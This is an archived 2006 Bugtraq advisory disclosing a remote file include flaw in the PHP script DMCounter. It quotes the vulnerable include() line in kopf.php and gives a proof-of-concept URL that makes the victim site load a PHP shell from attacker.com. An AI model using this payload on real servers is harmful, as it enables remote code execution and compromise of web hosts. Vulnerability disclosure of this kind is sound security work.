bugtraq - Hackmaster Group DMCounter Remote File Include

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite for Android: free password hash cracker in your pocket

[<prev] [next>] [day] [month] [year] [list]

Message-ID: <20060510003821.20123.qmail@securityfocus.com>
Date: 10 May 2006 00:38:21 -0000
From: c-w-m@...kmaster.us
To: bugtraq@...urityfocus.com
Subject: Hackmaster Group DMCounter Remote File Include

Script: DMCounter
Version: 0.9.2-b
Language: PHP
Problem: Remote File Include
Vendor: http://Www.HackMaster.Us
Discovered by: C-W-M(at)hackmaster(dot)us
Description
=============
Statistics software based on PHP which does not require any database
support but just uses flat files. Daily + monthly visits, which pages, from
where, browsers and OSs are listed and visually presented

Problem
=============
A remote user can supply a specially crafted URL to cause the target
system to include and execute arbitrary PHP code from a remote
location. A remote user can execute arbitrary PHP code and operating
system commands on the target system with the privileges of the
target web service.

The vulnerable file is kopf.php

1 <?php
2 $basepath=getcwd();
3 include($rootdir.'/lang.php');

$rootdir is not being declared before using it in the include() function.

Proof of Concept URL
==============
http://victim.com/dmcounter/kopf.php?rootdir=http://attacker.com/phpshell.txt?

Greets:
==============
][GB][
C-W-M - http://Www.HackMaster.Us